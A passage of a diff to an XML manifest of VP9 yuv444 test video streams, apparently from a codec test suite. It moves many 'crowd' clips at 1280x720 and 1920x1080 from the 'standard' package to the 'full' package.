-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=7122276,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39138,7 +39138,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=38623985,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=3142737,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39153,154 +39153,154 @@
     <value>mime=video/x-vnd.on2.vp9,size=1348819,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=393233,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=393233,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160274,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160274,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=42474,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=42474,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160680,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160680,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160295,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160295,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160862,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160862,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160831,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160831,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160737,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160737,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160871,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160871,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160871,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160871,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=137485,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=137485,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_20_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_upScale_50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1280x720p50f32/crowd_1280x720p50f32_noFrmPar_vbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=160382,width=1280,height=720,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343733,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343733,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343532,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343532,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343938,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343938,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343532,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343532,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_2x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x1.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344340,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344340,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x2.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=343532,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=343532,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_4x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQCom_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=320196,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=320196,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_adaptQVar_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=320101,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=320101,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344308,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344308,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_1t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_0f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344517,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344517,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344779,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344779,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_15f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344298,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344298,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_0s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_2t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_arnr_5f_5s_3t_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=345305,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_autAltRef_8lag_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=334585,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=334585,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cbr_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=356760,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=356760,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq10_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq16_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq32_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_cq63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=269814,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=269814,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_10_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_20_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_50_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_downScale_80_noKey_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_errRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=359935,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=359935,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_keyFrmOnly_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=1459509,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39309,10 +39309,10 @@
     <value>mime=video/x-vnd.on2.vp9,size=94819545,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_noKeyFrm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_nonErrRes_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-10_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=18358267,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39321,7 +39321,7 @@
     <value>mime=video/x-vnd.on2.vp9,size=94819545,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp0-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp10-20_1x4.webm">
     <value>mime=video/x-vnd.on2.vp9,size=6232049,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
@@ -39336,154 +39336,154 @@
     <value>mime=video/x-vnd.on2.vp9,size=2403396,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp40-50_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=717756,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=717756,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp50-63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=324523,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=324523,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_Qp63_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=91929,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=91929,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp0_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp1_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344444,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344444,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp2_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344477,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344477,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp3_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344568,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344568,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp4_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344280,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344280,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp5_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344051,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344051,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp6_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344973,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344973,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_sharp7_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344048,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344048,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_skip5frm_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=292637,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=292637,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
   <entry key="vp9/yuv444/8bit/params/crowd_1920x1080p50f32/crowd_1920x1080p50f32_frmPar_upScale_100_1x4.webm">
-    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=standard</value>
+    <value>mime=video/x-vnd.on2.vp9,size=344294,width=1920,height=1080,frame-rate=,profile=,level=,bitrate=,package=full</value>
   </entry>
